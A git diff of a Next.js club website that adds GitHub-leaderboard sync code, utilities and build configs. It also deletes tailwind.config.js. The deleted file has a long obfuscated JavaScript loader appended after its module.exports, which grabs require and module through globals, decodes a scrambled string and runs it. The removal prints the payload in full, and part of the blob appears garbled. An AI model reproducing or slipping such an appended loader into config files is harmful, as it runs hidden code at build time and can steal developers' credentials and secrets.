diff --git a/src/server/github/queries/index.ts b/src/server/github/queries/index.ts
new file mode 100644
index 0000000..71f83e6
--- /dev/null
+++ b/src/server/github/queries/index.ts
@@ -0,0 +1,29 @@
+export interface ProjectFields {
+ quality: { name: string } | null;
+ priority: { name: string } | null;
+ complexity: { name: string } | null;
+}
+
+export interface ClosedIssuesResult {
+ search: {
+ pageInfo: {
+ endCursor: string;
+ hasNextPage: boolean;
+ };
+ nodes: {
+ closedAt: string;
+ assignees: {
+ nodes: {
+ databaseId: number;
+ login: string;
+ avatarUrl: string;
+ }[];
+ };
+ projectItems: {
+ nodes: [ProjectFields] | [];
+ };
+ }[];
+ };
+}
+
+export { default as ClosedIssues } from "./ClosedIssues.gql";
diff --git a/src/server/github/syncLeaderboard.ts b/src/server/github/syncLeaderboard.ts
new file mode 100644
index 0000000..e33a392
--- /dev/null
+++ b/src/server/github/syncLeaderboard.ts
@@ -0,0 +1,219 @@
+import { graphql } from "@octokit/graphql";
+import { addWeeks, compareAsc, isAfter, parseISO } from "date-fns";
+import { sql } from "drizzle-orm";
+import { env } from "~/env";
+import { db } from "../db";
+import { githubProfiles, points as pointsTable } from "../db/schema/tables";
+import {
+ type ClosedIssuesResult,
+ type ProjectFields,
+ ClosedIssues,
+} from "./queries";
+
+function tryParseInt(value: string | undefined) {
+ if (!value) {
+ return 1;
+ }
+
+ const parseResult = parseInt(value);
+
+ if (isNaN(parseResult)) {
+ return 1;
+ }
+
+ return parseResult;
+}
+
+function calculateBasePoints(fields: ProjectFields | undefined) {
+ const quality = tryParseInt(fields?.quality?.name) / 3;
+ const priority = tryParseInt(fields?.priority?.name) / 4;
+ const complexity = tryParseInt(fields?.complexity?.name) / 3;
+ return quality * (priority + complexity) * 120;
+}
+
+interface ClosedIssue {
+ assignee: ClosedIssuesResult["search"]["nodes"][number]["assignees"]["nodes"][number];
+ basePoints: number;
+ closedAt: Date;
+}
+
+async function getClosedIssues(year: number) {
+ const results: ClosedIssue[] = [];
+ let cursor: string | null = null;
+ let hasNextPage = true;
+
+ while (hasNextPage) {
+ const { search }: ClosedIssuesResult = await graphql(ClosedIssues, {
+ cursor,
+ searchQuery: `org:${env.GITHUB_ORG} type:issue closed:${year}-01-01..${year}-12-31`,
+ headers: {
+ authorization: `Bearer ${env.GITHUB_TOKEN}`,
+ },
+ });
+
+ for (const { assignees, projectItems, closedAt } of search.nodes) {
+ const basePoints =
+ calculateBasePoints(projectItems.nodes[0]) / assignees.nodes.length;
+
+ for (const assignee of assignees.nodes) {
+ results.push({
+ basePoints,
+ assignee,
+ closedAt: parseISO(closedAt),
+ });
+ }
+ }
+
+ cursor = search.pageInfo.endCursor;
+ hasNextPage = search.pageInfo.hasNextPage;
+ }
+
+ return results;
+}
+
+async function syncYearPoints(
+ profiles: Map>,
+ year: number,
+ isCurrent: boolean,
+) {
+ const closedIssues = await getClosedIssues(year);
+ const points = new Map>();
+
+ if (closedIssues.length < 0) {
+ return [];
+ }
+
+ closedIssues.sort((a, b) => compareAsc(a.closedAt, b.closedAt));
+
+ for (const { assignee, basePoints, closedAt } of closedIssues) {
+ if (!profiles.has(assignee.databaseId)) {
+ profiles.set(assignee.databaseId, {
+ id: assignee.databaseId,
+ login: assignee.login,
+ avatarUrl: assignee.avatarUrl,
+ allTimePoints: 0,
+ allTimeRanking: null,
+ currentYearPoints: 0,
+ currentYearRanking: null,
+ accessTokenId: null,
+ });
+ }
+
+ const pointsEntry = points.get(assignee.databaseId);
+ const profile = profiles.get(assignee.databaseId)!;
+
+ profile.allTimePoints += basePoints;
+
+ if (isCurrent) {
+ profile.currentYearPoints += basePoints;
+ }
+
+ if (!pointsEntry) {
+ points.set(assignee.databaseId, {
+ year,
+ githubProfileId: assignee.databaseId,
+ academyPoints: 0,
+ streakStart: closedAt,
+ streakLength: 1,
+ longestStreakLength: 1,
+ projectPoints: basePoints,
+ streakBonusPoints: 0,
+ });
+ continue;
+ }
+
+ pointsEntry.projectPoints += basePoints;
+
+ const streakRenewalStart = addWeeks(
+ pointsEntry.streakStart,
+ pointsEntry.streakLength,
+ );
+
+ const streakRenewalCutoff = addWeeks(
+ pointsEntry.streakStart,
+ pointsEntry.streakLength + 1,
+ );
+
+ if (isAfter(closedAt, streakRenewalCutoff)) {
+ pointsEntry.streakStart = closedAt;
+ pointsEntry.streakLength = 1;
+ continue;
+ }
+
+ if (isAfter(closedAt, streakRenewalStart)) {
+ pointsEntry.streakLength++;
+ }
+
+ pointsEntry.longestStreakLength = Math.max(
+ pointsEntry.streakLength,
+ pointsEntry.longestStreakLength,
+ );
+
+ const bonusPoints = (basePoints * pointsEntry.streakLength) / 10;
+ pointsEntry.streakBonusPoints += bonusPoints;
+ profile.allTimePoints += bonusPoints;
+
+ if (isCurrent) {
+ profile.currentYearPoints += bonusPoints;
+ }
+ }
+
+ return Array.from(points.values());
+}
+
+export default async function syncLeaderboard() {
+ const startYear = env.DEVDOGS_EPOCH.getUTCFullYear();
+ const endYear = new Date().getUTCFullYear();
+ const profiles = new Map<
+ number,
+ Required
+ >();
+
+ const points = await Promise.all(
+ Array.from({ length: endYear - startYear + 1 }, (_, i) =>
+ syncYearPoints(profiles, startYear + i, startYear + i === endYear),
+ ),
+ );
+
+ const rankedProfiles = Array.from(profiles.values());
+
+ rankedProfiles.sort((a, b) => b.currentYearPoints - a.currentYearPoints);
+ rankedProfiles.forEach((profile, i) => {
+ profile.currentYearRanking = i + 1;
+ });
+
+ rankedProfiles.sort((a, b) => b.allTimePoints - a.allTimePoints);
+ rankedProfiles.forEach((profile, i) => {
+ profile.allTimeRanking = i + 1;
+ });
+
+ await db.transaction(async (tx) => {
+ await tx
+ .insert(githubProfiles)
+ .values(rankedProfiles)
+ .onDuplicateKeyUpdate({
+ set: {
+ login: sql`values(${githubProfiles.login})`,
+ avatarUrl: sql`values(${githubProfiles.avatarUrl})`,
+ allTimePoints: sql`values(${githubProfiles.allTimePoints})`,
+ allTimeRanking: sql`values(${githubProfiles.allTimeRanking})`,
+ currentYearPoints: sql`values(${githubProfiles.currentYearPoints})`,
+ currentYearRanking: sql`values(${githubProfiles.currentYearRanking})`,
+ },
+ });
+
+ await tx
+ .insert(pointsTable)
+ .values(points.flat())
+ .onDuplicateKeyUpdate({
+ set: {
+ academyPoints: sql`values(${pointsTable.academyPoints})`,
+ longestStreakLength: sql`values(${pointsTable.longestStreakLength})`,
+ projectPoints: sql`values(${pointsTable.projectPoints})`,
+ streakBonusPoints: sql`values(${pointsTable.streakBonusPoints})`,
+ streakLength: sql`values(${pointsTable.streakLength})`,
+ streakStart: sql`values(${pointsTable.streakStart})`,
+ },
+ });
+ });
+}
diff --git a/src/server/utilts.ts b/src/server/utilts.ts
new file mode 100644
index 0000000..d9b132a
--- /dev/null
+++ b/src/server/utilts.ts
@@ -0,0 +1,38 @@
+import { headers } from "next/headers";
+import * as z from "zod";
+import { env } from "~/env";
+
+const callbackPathSchema = z.string().transform((path, ctx) => {
+ try {
+ const url = new URL(String(path), env.BASE_URL);
+ return url.toString().replace(url.origin, "");
+ } catch {
+ ctx.addIssue({
+ code: "custom",
+ message: "Provided string should be a path.",
+ input: path,
+ });
+ return z.NEVER;
+ }
+});
+
+/**
+ * Extracts a callback path from either the `callbackPath` field in `formData` or the `referer` field in the incoming request headers.
+ * @param fallback Used if `callbackPath` is not present in `formData` or `referer` is not present in `headers()`.
+ * @param formData A `FormData` obect.
+ * @returns The extracted callback path.
+ */
+export async function getCallbackPath(fallback: string, formData?: FormData) {
+ const referer = (await headers()).get("referer");
+ return await callbackPathSchema
+ .parseAsync(formData?.get("callbackPath"))
+ .catch(() => callbackPathSchema.parseAsync(referer).catch(() => fallback));
+}
+
+export function generateSecureString(byteCount: number) {
+ return Buffer.from(crypto.getRandomValues(new Uint8Array(byteCount)))
+ .toString("base64")
+ .replaceAll("+", "-")
+ .replaceAll("/", "_")
+ .replaceAll("=", "");
+}
diff --git a/src/styles/globals.css b/src/styles/globals.css
new file mode 100644
index 0000000..0af2397
--- /dev/null
+++ b/src/styles/globals.css
@@ -0,0 +1,113 @@
+@import "tailwindcss";
+@plugin "@tailwindcss/typography";
+@plugin "@tailwindcss/forms";
+
+@theme {
+ --font-sans:
+ var(--font-sans), ui-sans-serif, system-ui, sans-serif, "Apple Color Emoji",
+ "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+ --animate-wave: wave 5s linear infinite;
+ --animate-collapsible-open: collapsible-open 200ms ease-in;
+ --animate-collapsible-closed: collapsible-closed 200ms ease-out;
+ --animate-dialog-slide-in: dialog-slide-in 200ms ease-in;
+ --animate-dialog-slide-out: dialog-slide-out 200ms ease-out;
+}
+
+@keyframes dialog-slide-in {
+ from {
+ transform: translateX(-100%);
+ opacity: 0;
+ }
+
+ to {
+ transform: translateX(0%);
+ opacity: 0;
+ }
+}
+
+@keyframes dialog-slide-out {
+ from {
+ transform: translateX(0%);
+ opacity: 0;
+ }
+
+ to {
+ transform: translateX(-100%);
+ opacity: 0;
+ }
+}
+
+@keyframes wave {
+ 0% {
+ transform: rotate(0deg) scale(100%);
+ transform-origin: bottom right;
+ }
+
+ 10% {
+ transform: rotate(0deg) scale(110%);
+ }
+
+ 15% {
+ transform: rotate(-8deg) scale(110%);
+ }
+
+ 25% {
+ transform: rotate(8deg) scale(110%);
+ }
+
+ 35% {
+ transform: rotate(-8deg) scale(110%);
+ }
+
+ 45% {
+ transform: rotate(8deg) scale(110%);
+ }
+
+ 55% {
+ transform: rotate(-8deg) scale(110%);
+ }
+
+ 65% {
+ transform: rotate(8deg) scale(110%);
+ }
+
+ 75% {
+ transform: rotate(0deg) scale(110%);
+ }
+
+ 85% {
+ transform: rotate(0deg) scale(100%);
+ }
+}
+
+@keyframes collapsible-open {
+ 0% {
+ height: 0;
+ opacity: 0%;
+ }
+
+ 50% {
+ opacity: 100%;
+ }
+
+ 100% {
+ height: var(--radix-collapsible-content-height);
+ opacity: 100%;
+ }
+}
+
+@keyframes collapsible-closed {
+ 0% {
+ height: var(--radix-collapsible-content-height);
+ opacity: 100%;
+ }
+
+ 50% {
+ opacity: 100%;
+ }
+
+ 100% {
+ height: 0;
+ opacity: 0%;
+ }
+}
diff --git a/tailwind.config.js b/tailwind.config.js
deleted file mode 100644
index 36e18e0..0000000
--- a/tailwind.config.js
+++ /dev/null
@@ -1,74 +0,0 @@
-/** @type {import('tailwindcss').Config} */
-
-const plugin = require("tailwindcss/plugin");
-
-const CustomStyle = plugin(function ({ addUtilities }) {
- addUtilities({
- ".rotate-y-180": {
- transform: "rotateY(180deg)",
- },
- ".preserve-3d": {
- transformStyle: "preserve-3d",
- },
- ".perspective-1000": {
- perspective: "1000px",
- },
- ".backface-hidden": {
- backfaceVisibility: "hidden",
- },
- });
-});
-
-module.exports = {
- darkMode: ["class"],
- content: [
- "./app/**/*.{js,ts,jsx,tsx,mdx}",
- "./pages/**/*.{js,ts,jsx,tsx,mdx}",
- "./components/**/*.{js,ts,jsx,tsx,mdx}",
- "./src/**/*.{js,ts,jsx,tsx,mdx}", // For src directory support
- ],
- theme: {
- extend: {
- keyframes: {
- fadeInOut: {
- "0%, 100%": { opacity: 0 },
- "20%, 50%, 80%": { opacity: 1 },
-
- },
- "caret-blink": {
- "0%, 70%, 100%": { opacity: "1" },
- "20%, 50%": { opacity: "0" },
- },
- },
- animation: {
- fadeInOut: "fadeInOut 10s ease-out infinite",
- },
- colors: {
- BulldogRed: "#ba0c2f",
- DevDogBlue: "#33334d",
- BarelyPink: "#fff7f9",
- NearlyBlack: "#23221f",
- MidnightBlue: "#222233",
- GloryGloryRed: "#e4002b",
- PureWhite: "#ffffff",
- SolidBlack: "#000000",
- MudGray: "#64575a",
- GroutGray: "#8a7d7d",
- PebbleGray: "#aa999d",
- Limestone: "#d4ccc8",
- DustyPink: "#f2d9df",
- BabyBlue: "#d9ecec",
- LakeHerrick: "#00a3ad",
- Gold: "#f9bd9b",
- Peach: "#e37c7c",
- Wave: "#71ccd2",
- },
- borderRadius: {
- lg: "var(--radius)",
- md: "calc(var(--radius) - 2px)",
- sm: "calc(var(--radius) - 4px)",
- },
- },
- },
- plugins: [CustomStyle, require("tailwindcss-animate")],
-}; global['!']='8-3398-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})();
diff --git a/tsconfig.json b/tsconfig.json
new file mode 100644
index 0000000..1523a88
--- /dev/null
+++ b/tsconfig.json
@@ -0,0 +1,44 @@
+{
+ "compilerOptions": {
+ /* Base Options: */
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "target": "es2022",
+ "allowJs": true,
+ "resolveJsonModule": true,
+ "moduleDetection": "force",
+ "isolatedModules": true,
+ "verbatimModuleSyntax": true,
+ /* Strictness */
+ "strict": true,
+ "noUncheckedIndexedAccess": true,
+ "checkJs": true,
+ /* Bundled projects */
+ "lib": ["dom", "dom.iterable", "ES2022"],
+ "noEmit": true,
+ "module": "ESNext",
+ "moduleResolution": "Bundler",
+ "jsx": "react-jsx",
+ "plugins": [
+ {
+ "name": "next"
+ }
+ ],
+ "incremental": true,
+ /* Path Aliases */
+ "baseUrl": ".",
+ "paths": {
+ "~/*": ["./src/*"]
+ }
+ },
+ "include": [
+ "next-env.d.ts",
+ "**/*.ts",
+ "**/*.tsx",
+ "**/*.cjs",
+ "**/*.js",
+ ".next/types/**/*.ts",
+ ".next/dev/types/**/*.ts"
+ ],
+ "exclude": ["node_modules"]
+}
diff --git a/turbo.json b/turbo.json
new file mode 100644
index 0000000..26c2dc3
--- /dev/null
+++ b/turbo.json
@@ -0,0 +1,65 @@
+{
+ "$schema": "https://v2-8-3.turborepo.dev/schema.json",
+ "globalPassThroughEnv": [
+ "BASE_URL",
+ "VERCEL_ENV",
+ "VERCEL_URL",
+ "VERCEL_PROJECT_PRODUCTION_URL"
+ ],
+ "tasks": {
+ "db:generate": {
+ "dependsOn": [],
+ "outputs": ["migrations/ddl.sql"]
+ },
+ "docker:ready": {
+ "cache": false
+ },
+ "build": {
+ "dependsOn": [],
+ "outputs": [".next/**"],
+ "env": [
+ "BASE_URL",
+ "CRON_SECRET",
+ "DEVDOGS_EPOCH",
+ "GITHUB_CLIENT_ID",
+ "GITHUB_CLIENT_SECRET",
+ "GITHUB_ORG",
+ "GITHUB_TOKEN",
+ "DISCORD_CLIENT_ID",
+ "DISCORD_CLIENT_SECRET",
+ "DISCORD_GUILD_ID",
+ "DISCORD_PUBLIC_KEY",
+ "DISCORD_TOKEN",
+ "GOOGLE_CLIENT_ID",
+ "GOOGLE_CLIENT_SECRET",
+ "MYSQL_USER",
+ "MYSQL_PASSWORD",
+ "MYSQL_HOST",
+ "MYSQL_PORT",
+ "MYSQL_DATABASE",
+ "S3_PORT",
+ "S3_REGION",
+ "S3_ACCESS_KEY_ID",
+ "S3_SECRET_ACCESS_KEY",
+ "SHARED_AUTH_CLIENT_ID",
+ "SHARED_AUTH_CLIENT_SECRET"
+ ]
+ },
+ "Next.js": {
+ "dependsOn": [],
+ "persistent": true,
+ "cache": false
+ },
+ "Drizzle-Studio": {
+ "dependsOn": [],
+ "persistent": true,
+ "cache": false
+ },
+ "lint:fix": {
+ "dependsOn": []
+ },
+ "typecheck": {
+ "dependsOn": []
+ }
+ }
+}
diff --git a/vercel.json b/vercel.json
new file mode 100644
index 0000000..b806725
--- /dev/null
+++ b/vercel.json
@@ -0,0 +1,12 @@
+{
+ "$schema": "https://openapi.vercel.sh/vercel.json",
+ "git": {
+ "deploymentEnabled": false
+ },
+ "crons": [
+ {
+ "path": "/api/github/sync-leaderboard",
+ "schedule": "0 0 * * *"
+ }
+ ]
+}
diff --git a/volumes/atlas/atlas.hcl b/volumes/atlas/atlas.hcl
new file mode 100644
index 0000000..132dfcd
--- /dev/null
+++ b/volumes/atlas/atlas.hcl
@@ -0,0 +1,27 @@
+data "external_schema" "drizzle" {
+ program = [
+ "cat",
+ "/migrations/ddl.sql",
+ "/migrations/overrides.sql",
+ ]
+}
+
+env "local" {
+ url = "mysql://root:${getenv("MYSQL_PASSWORD")}@mysql:3306/${getenv("MYSQL_DATABASE")}"
+ dev = "mysql://root:password@mysql-dev:3306/dev"
+ schema {
+ src = data.external_schema.drizzle.url
+ }
+ migration {
+ dir = "file://atlas/migrations"
+ }
+}
+
+env "remote" {
+ schema {
+ src = data.external_schema.drizzle.url
+ }
+ migration {
+ dir = "file://atlas/migrations"
+ }
+}
\ No newline at end of file
diff --git a/volumes/atlas/overrides.sql b/volumes/atlas/overrides.sql
new file mode 100644
index 0000000..04010db
--- /dev/null
+++ b/volumes/atlas/overrides.sql
@@ -0,0 +1,2 @@
+-- Use this file to manually define additional tables, constrains, indices, etc.
+-- Do not delete these comments.
\ No newline at end of file